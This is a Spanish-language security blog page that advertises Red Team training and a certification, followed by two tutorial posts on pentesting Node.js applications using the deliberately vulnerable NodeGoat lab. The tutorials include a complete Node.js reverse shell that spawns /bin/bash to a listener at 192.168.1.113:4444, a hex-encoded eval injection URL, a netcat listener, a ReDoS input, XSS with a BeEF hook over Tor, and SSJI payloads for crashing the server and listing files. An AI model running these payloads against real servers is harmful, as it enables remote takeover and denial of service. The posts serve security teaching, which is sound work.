Categorías
Hacking

Plan de formaciones sobre Hacking en Securízame y certificación RTCP (Red Team Certified Professional)

En Securízame, hace algunos meses hemos comenzado un plan de formación sobre Hacking, seguramente algunos recordareis el siguiente post en donde os lo comentaba. Las ediciones del primer semestre de éste año han sido todo un éxito, muchos de vosotros habéis disfrutado tanto de las formaciones intensivas así como del entrenamiento práctico, en el que habéis podido “jugar” con un entorno completo y habéis conseguido comprometer más de 20 máquinas en un fin de semana. Para los que no lo sepáis, tanto las formaciones como el entrenamiento tienen un enfoque completamente diferente a las formaciones tradicionales relacionadas con el Hacking o la Ciberseguridad, se trata de formaciones enfocadas a lo que se conoce como “Red Team” y en aprender sobre diferentes tipos de técnicas para la explotación y post-explotación de sistemas, intentando en todos los casos, evadir restricciones de seguridad impuestas por Firewalls/WAF, IDS/NIDS, AV, etc. Incluso, en estas formaciones también se enseña sobre como llevar a cabo ataques contra plataformas o infraestructuras de forma anónima, teniendo en cuenta todos los detalles que se deben de tener en consideración para evitar una posible detección de la identidad del atacante, es decir, del mismo modo que lo haría un ciberdelincuente en Internet. Tal y como hemos hecho en el primer semestre del año, para éste segundo ya tenemos el calendario con las fechas en las que se impartirán los cursos de Hacking básico/intermedio, Hacking avanzado y el entrenamiento práctico utilizando la plataforma de THW. Dichas fechas las podéis consultar en el siguiente enlace en la web de Securízame. https://cursos.securizame.com/cursos-presenciales/#categoria-hacking

Además de las formaciones y el entrenamiento, en donde os lo pasareis genial aprendiendo, desde hace unas pocas semanas se ha comenzado a promocionar la certificación RTCP https://cursos.securizame.com/courses/rtcp-certificacion-hacking-securizame/ la cual os va a permitir tener una certificación oficial por las formaciones descritas anteriormente, pero además de eso, vais a poder poner a prueba vuestras habilidades en un entorno real, cosas que os encontrareis en una auditoría a una empresa. Se trata de una certificación que consta de un examen de 8 horas de duración, es presencial en las oficinas de Securízame en Madrid y completamente práctica. No se trata de un examen de selección múltiple, ni tampoco de un examen que podrás presentar tu (u otra persona en tu nombre) desde Internet. El examen consiste en realizar un proceso de Hacking sobre un entorno que tenemos preparado para cada alumno y presentar un informe al final que nos servirá para evaluar a cada aspirante a la certificación. Como podéis apreciar no es una certificación tradicional, hemos querido darle una vuelta a lo que vemos en el mercado de las certificaciones de seguridad informática y hacerlo de tal forma que realmente sirva para demostrar a cualquier empresa u organización que el titular de dicha certificación es un profesional altamente cualificado y competente. Obviamente el beneficio de tener una certificación así, es que las probabilidades de obtener un trabajo con buenas condiciones laborales son mucho más altas y además, el prestigio también es un factor importante, ya que no cualquiera podrá obtenerla y el proceso de evaluación es riguroso, tienes que demostrar que realmente sabes.

Nos estamos esforzando en ofrecer las mejores formaciones del mercado y ahora, intentaremos también que la RTCP se convierta en una certificación de Hacking en español reconocida y altamente valorada. Muchos de los que leéis éste blog ya habéis visto cómo son las formaciones y el entrenamiento, por lo tanto sabéis de lo que hablo, los que no habéis tenido la oportunidad, o tenéis dudas, os recomiendo que habléis con las personas que ya han estado en las formaciones y el entrenamiento, en el grupo de Telegram de THW (https://t.me/TheHackerWay) hay varias personas a las que podéis consultar, estoy bastante seguro que ninguno ha quedado insatisfecho y que todos los estudiantes han aprovechado bastante bien esos fines de semana en la academia de Securízame y no solo lo digo por las pizzas.

A los que habéis depositado vuestra confianza en los cursos que hemos impartido, lo primero agradeceros por ello y lo segundo, invitaros a que probéis la certificación RTCP, la estamos preparando con el mismo cuidado y cariño que las formaciones y estamos bastante seguros que será de vuestro agrado. No te diré que será fácil aprobar, las mejores cosas en ésta vida requieren esfuerzo, dedicación y trabajo duro, pero sí te puedo asegurar que merecerá la pena en un 100%

Un saludo y Happy Hack!
Adastra.

Categorías
Hacking Web Applications

Pentesting contra aplicaciones en nodejs – Parte 3

En la parte dos de la serie se ha hablado sobre la aplicación web vulnerable por diseño llamada NodeGoat, una aplicación web sencilla y con vulnerabilidades que pueden ser bastante triviales y fáciles de descubrir, para no desvelar todas las cosas que se pueden probar en dicho sistema y dejar que el lector explore la aplicación por su cuenta, en ésta parte se verán algunas rutinas de código en Node.js que son consideradas riesgosas o que representan una vulnerabilidad que se puede explotar manualmente o incluso utilizando alguna herramienta de pentesting web automatizado.

RCE con vulnerabilidades SSJI

En el post anterior se ha visto que NodeGoat tiene una vulnerabilidad del tipo SSJI que permite la inyección de rutinas Javascript directamente en el lado del servidor, dichas rutinas evidentemente pueden hacer un uso completo de la API de Node.js y hacer prácticamente cualquier cosa. Por ejemplo, partamos del siguiente fragmento de código:

[code language=»javascript»]

var express = require(‘express’);

var app = express();

app.get(‘/’, function(req, res) {

var value=eval("("+req.query.param+")");

res.send(‘OK’);

});

app.listen(8080);

[/code]

Es muy simple, pero además de utilizar la función insegura “eval”, el parámetro que se utiliza en dicha función, es recibido desde una petición de un cliente sin aplicar ningún tipo de validación, dando como resultado una vulnerabilidad de SSJI. Como se ha visto en la entrada anterior, se pueden ingresar instrucciones para matar el proceso del servidor, causando una condición de DoS, listar los ficheros de un directorio concreto o incluso, ejecutar instrucciones directamente contra el servidor. Partiendo del código anterior, se probará ahora a crear una reverse shell, algo que es sencillo si se conoce la lógica básica de los sockets y cómo establecer una conexión entre cliente y víctima. Evidentemente para hacerlo, es necesario tener código en Node.js que se encargue de realizar las invocaciones adecuadas a la socket API, algo que no es demasiado complejo de hacer y que en última instancia, nos permitirá enganchar al canal abierto entre cliente y víctima, una shell que permita ejecutar comandos sobre el sistema comprometido. Es fácil encontrar una reverse shell en Node.js, por ejemplo, en el siguiente enlace se encuentra el código mínimo que debería de contener: https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell en éste, la reverse shell que se utilizará será la siguiente:

[code language=»javascript»]
var net = require(‘net’);
var spawn = require(‘child_process’).spawn;
HOST="192.168.1.113";
PORT="4444";
TIMEOUT="5000";
if (typeof String.prototype.contains === ‘undefined’) { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn(‘/bin/bash’,[]);
client.write("Connected!.\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on(‘exit’,function(code,signal){
client.end("Canal cerrado!\\n");
});
});
client.on(‘error’, function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
[/code]

Éste código tal cómo está funciona bien, sin embargo incluir todas éstas instrucciones directamente en la petición puede ser algo un poco más complicado, ya que es posible que algunos caracteres se escapen al realizar la petición y no lleguen todas las instrucciones completas, algo que hará que falle su ejecución. La solución es tan simple como códificar el script anterior y generar una cadena codificada que se pueda enviar directamente al servidor por medio de una petición HTTP sin que se pierdan caracteres por el camino. Para ello, se puede utilizar cualquier lenguaje de scripting que permita realizar un “encode” básico, en éste caso, se utiliza Python y concretamente, el procedimiento que se detalla en el siguiente repositorio de GitHub: https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell

Como se puede apreciar desde el interprete de Python se puede crear una variable del tipo String con el código de la reverse shell y posteriormente invocar a “encode”. Partiendo de la cadena generada por “encode” se puede enviar en el parámetro “param” algo como lo siguiente:

http://localhost:8080/?param=[«./;eval(new Buffer(‘CADENA CODIFICADA’, ‘hex’).toString());//*»]

Antes de hacerlo es necesario levantar un listener en el puerto 8080, como siempre, utilizar netcat resulta cómodo y efectivo. nc -lvvp 4444

 

 

Como se puede apreciar en la imagen anterior, la reverse shell funciona correctamente y se ha podido ganar acceso al sistema partiendo de la vulnerabilidad de SSJI descrita antes.

ReDoS en Node.js

Una de las cosas más comunes en aplicaciones web, independiente del lenguaje de programación, es la de validar números de teléfono, documentos o direcciones de correo electrónico y lo más común para hacer estas cosas, consiste precisamente en utilizar expresiones regulares que se encontrarán disponibles en Internet como por ejemplo “stack overflow”. En este punto resulta conveniente ver la siguiente portada de un libro que todo desarrollador que se precie, en algún momento habrá hecho o puesto en práctica.

 

 

Extraer código de Stack overflow o cualquier otro sitio en Internet no está mal, pero hay que hacerlo con cabeza. Por ejemplo, algo común es copiar y pegar expresiones regulares que si bien, hacen lo que tienen que hacer, a lo mejor en términos de rendimiento no son de lo más óptimo y aquí entra en juego el modelo de Node.js y la imposibilidad de aceptar otras conexiones por parte de otros clientes cuando el proceso principal se encuentra ocupado “haciendo otras cosas”. Ahora bien, en el siguiente código, se utiliza una expresión regular para validar una dirección de correo electrónico:

[code languaje=»“javascript”»]
var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
response.write("User Input : "+ parsedUrl.query.email);
response.write("Email Validation : "+ emailExpression.test( parsedUrl.query.email ));
response.end();
}).listen(8000);
[/code]

La expresión regular está bien, salvo por un detalle. Al final de la misma se puede apreciar que aunque los caracteres finales deben tener una longitud de entre 2 y 4, con “+$” se indica que dicha condición queda invalidada y permite ingresar una cadena con una longitud superior, haciendo que dependiendo de lo que ingrese el usuario, el tiempo de procesamiento sea cada vez más largo y ojo! que esta expresión se ha extraído de stack overflow: https://stackoverflow.com/questions/4640583/what-are-these-javascript-syntax-called-a-za-z0-9-a-za-z0-9

A efectos prácticos que significa esto? Bien, dejaré que lo veáis vosotros mismos. Qué pasa si por ejemplo se levanta el servidor express con el código anterior y se ejecuta la siguiente petición HTTP?

http://localhost:8000/?email=adastra@thehackerway.com

Nada interesante, se valida correctamente la dirección y enseña por pantalla que la validación es correcta. Y con lo siguiente?

http://localhost:8000/?email=jjjjjjjjjjjjjjjjjjjjjjjjjjjj@ccccccccccccccccccccccccccccc.555555555555555555555555555555555555555555555555555555{

Bien, indica que la validación es incorrecta, lo cual es normal dado que se ha ingresado una dirección de correo invalida, pero lo que es interesante en éste punto es que el tiempo de respuesta ha sido bastante más elevado que la petición anterior, llegando incluso a tardar algunos segundos.

Con esto creo que el lector ya se hace una idea a lo que se pretende llegar, si la cadena es suficientemente larga, justo después del “.” (punto) el servidor se quedará completamente bloqueado y sin la posibilidad de procesar peticiones por parte de otros clientes. Una condición de DoS típica. En otras plataformas, esto no es demasiado problemático, dado que hay un modelo basado en “thread-per request” y si un hilo se queda bloqueado o tarda mucho en responder, los demás clientes de la aplicación podrán utilizar algún otro que se encuentre disponible en el servidor (si lo hay) pero en éste caso no tenemos ese modelo, si el proceso principal se queda bloqueado, el servidor entero también y ninguna otra petición podrá ser procesada. Esto es una vulnerabilidad del tipo “ReDoS” (Regex DoS).

Esto es todo de momento, espero que os haya parecido útil/interesante y que lo podáis poner en práctica.

Un saludo y Happy Hack!
Adastra.

Categorías
Hacking Programacion Web Applications

Pentesting contra aplicaciones en node.js – Parte 2.

En el primer post publicado de ésta serie sobre pentesting contra aplicaciones en node.js simplemente se ha dado un repaso general de las principales vulnerabilidades que se pueden detectar y posteriormente explotar en aplicaciones web basadas en ésta tecnología, la mayoría de las cuales no se encuentran especificadas en el OWASP Top 10, por lo tanto hay que aplicar un enfoque un poco diferente a la hora de realizar un proceso de pentesting contra éste tipo de aplicaciones. No obstante, esto no significa que las vulnerabilidades descritas en el OWASP Top 10 no afecten a las aplicaciones desarrolladas con node.js, todo lo contrario, también son bastante frecuentes cuando se desarrolla una aplicación sin tener en cuenta la seguridad en el proceso de construcción.
En el post anterior también se han mencionado las principales diferencias entre el modelo “event-loop” que implementan las aplicaciones basadas en node.js y el modelo “thread per-request”, por lo tanto en éste post vamos a comenzar a ver ejemplos prácticos de las vulnerabilidades descritas en el primer articulo para que todo quede un poco más claro.

Entorno de pruebas con NodeGoat.

Antes de comenzar y ver ejemplos un poco más centrados en lo que viene a ser el pentesting contra aplicaciones con node.js, es mejor contar con un entorno de pruebas y qué mejor que una aplicación web vulnerable por diseño, por ese motivo a partir de éste punto se procede a explicar la instalación de NodeGoat y su posterior puesta en marcha. Como se verá a continuación es un procedimiento bastante sencillo, solamente es necesario configurar una conexión a una base de datos MongoDB y tener todas las dependencias instaladas en el directorio donde se encuentra la aplicación, algo que se puede conseguir fácilmente utilizando “npm”.

El proyecto se encuentra disponible en GitHub en la siguiente url: https://github.com/OWASP/NodeGoat y tal como se puede ver en el README, la instalación consiste principalmente en la instalación de una base de datos MongoDB (la cual puede encontrarse en un servicio en Internet como https://mlab.com/) y contar con todas las librerías y dependencias obligatorias. El procedimiento se encuentra bastante bien explicado en el repositorio, por lo tanto no tiene mucho sentido replicar lo mismo que aparece en el fichero de README del proyecto, basta simplemente con seguir cada uno de los pasos indicados y será posible tener una instancia de NodeGoat en ejecución, por otro lado, para aquellos que prefieran utilizar Docker, también existe una imagen que cuenta con todo lo necesario para tener el entorno preparado.
Una vez que todas las dependencias se encuentran instaladas y todo está debidamente configurado, se puede ejecutar el “server.js” para levantar el módulo de express que da acceso a la aplicación y desde un navegador web apuntar a la dirección local en el puerto “4000”.

 

 

Las credenciales de acceso a la aplicación se encuentran en el README del proyecto, se pueden usar las cuentas: admin/Admin_123, user1/User1_123 o user2/User2_123.

Utilizando cualquiera de las cuentas anteriores, se puede iniciar sesión en la aplicación.

Ahora que ya se cuenta con NodeGoat en ejecución, es posible comenzar a hacer pruebas contra la aplicación, empezando por las más sencillas para ir tomando confianza.

En la aplicación existen varias vulnerabilidades de inyección del tipo XSS, una de ellas se encuentra en el perfil del usuario, en donde es posible editar información básica del usuario que se encuentra autenticado. Dado que algunos de dichos campos no gestionan adecuadamente las entradas y no “escapan” caracteres que son potencialmente peligrosos, es fácil incluir un script que haga cualquier cosa, desde el típico “alert”, cargar un iframe o una de mis favoritas, cargar un hook de BeEF ubicado en un servicio oculto en TOR. Seguramente algunos os diréis, que es necesario que el cliente se encuentre también conectado a dicha red para poder acceder a las direcciones onion, algo que es parcialmente cierto, pero también existen servicios en Internet como por ejemplo “tor2web” que se encarga de servir cómo puente entre usuarios que navegan en la “clear web” sin utilizar TOR y los servicios que se encuentran alojados en la deep web.

Además de la sección de perfil del usuario, ubicado en el extremo superior derecho de la aplicación web, en la opción “memos” es posible escribir un mensaje que quedará almacenado en la base de datos y el cual, admite entre otras cosas, tags HTML que serán renderizadas directamente en el navegador web de cada uno de los usuarios que accedan a la página, lo que nuevamente da como resultado una vulnerabilidad del tipo XSS almacenado.

Otra vulnerabilidad que también es fácil de descubrir se encuentra en la sección “allocations”. La lógica de ésta página es sencilla, cada uno de los usuarios autenticados accede a sus propios “allocations” desde ésta pantalla, sin embargo, la aplicación recibe por parámetro el identificador de cada “allocation” y realiza una búsqueda directa contra la base de datos, sin verificar si el usuario que realiza la petición tiene permiso de acceder al elemento solicitado o dicho de otra manera, nos encontramos con una vulnerabilidad típica de “Insecure direct object reference”, definida en el OWASP Top 10, aunque con la versión más reciente del 2017 ahora tiene otro nombre, pero la filosofía y criticidad de éste tipo de vulnerabilidad sigue siendo la misma. En éste caso, simplemente basta con cambiar la url “/allocations/2” por “/allocations/CUALQUIERNUMERO” y comprobar que en el caso de que la base de datos devuelva resultados, cambia incluso la página de perfil, apareciendo los datos del usuario al que pertenece dicho “allocation”.

En la sección que pone “Learning Resources” hay un parámetro llamado “url” el cual recibe como argumento una url que es utilizada por la aplicación web para realizar una redirección, está es otra vulnerabilidad fácil de descubrir, dado que el parámetro puede ser modificado e incluir un dominio arbitrario, controlando de ésta forma la navegación del usuario. Otra vulnerabilidad que se encuentra definida en el OWASP Top10, aunque en está ocasión, en la versión del 2013: “Insecure Redirects”, vulnerabilidad que ya no se encuentra recogida en la versión actual de OWASP.

Hasta aquí se han visto las vulnerabilidades más sencillas en NodeGoat, sin embargo hay otras más interesantes y que están enfocadas a lo que viene a ser node.js, las cuales se han explicado a grandes rasgos en el artículo anterior. Comenzaremos con una vulnerabilidad de SSJI (Server Side Javascript Injection) la cual como se ha mencionado antes, puede producir la ejecución de código en el lado del servidor y dado su impacto y criticidad, es de las primeras cosas que se tienen que ver en una aplicación desarrollada en node.js. Concretamente, a la hora de realizar una auditoría de código en una aplicación con ésta tecnología, hay que buscar los siguientes patrones:

* Uso de la función “eval” recibiendo entradas por parte del usuario sin validar.

* Uso de la función “setInterval” recibiendo entradas por parte del usuario sin validar.

* Uso de la función “setTimeout” recibiendo entradas por parte del usuario sin validar.

* Creación de una función anónima en node.js partiendo de instrucciones recibidas por parte del usuario y sin validar.

En NodeGoat se encuentra la opción “Contributions” en el menú, la cual tiene tres cajas de texto que reciben valores numéricos cada una, correspondientes a un porcentaje de payroll. Si se ingresa un valor numérico no hay ningún problema, pero si se llega a ingresar una cadena de texto…

 

Esto simplemente significa que la función “eval” ha fallado en la validación del valor numérico, sin embargo, otra característica interesante de “eval” es que además de validar valores numéricos, también se encarga de la validación y ejecución de instrucciones Javascript. Esto significa, que conociendo la API de Node.js será posible incluir cualquier tipo de instrucción que permita la ejecución arbitraria de código. Unos ejemplos típicos podrían ser “process.exit()”, “while(1)” o incluso, incluir una reverse shell escrita en node.js, algo que se verá en el siguiente post.

Con una vulnerabilidad de SSJI, no solamente es posible producir una condición de denegación de servicio o crear una shell contra el sistema, también es posible, con muy pocas líneas de código, leer directorios y ficheros de forma arbitraria en el sistema de archivos. Simplemente incluyendo una instrucción como: “res.end(require(‘fs’).readdirSync(‘.’).toString())” se podrán ver los ficheros y directorios del directorio raíz de la aplicación web.

Hay muchas más cosas que probar en NodeGoat, las cuales se verán en las próximas entradas de ésta serie.

 

 

Un saludo y Happy Hack!
Adastra.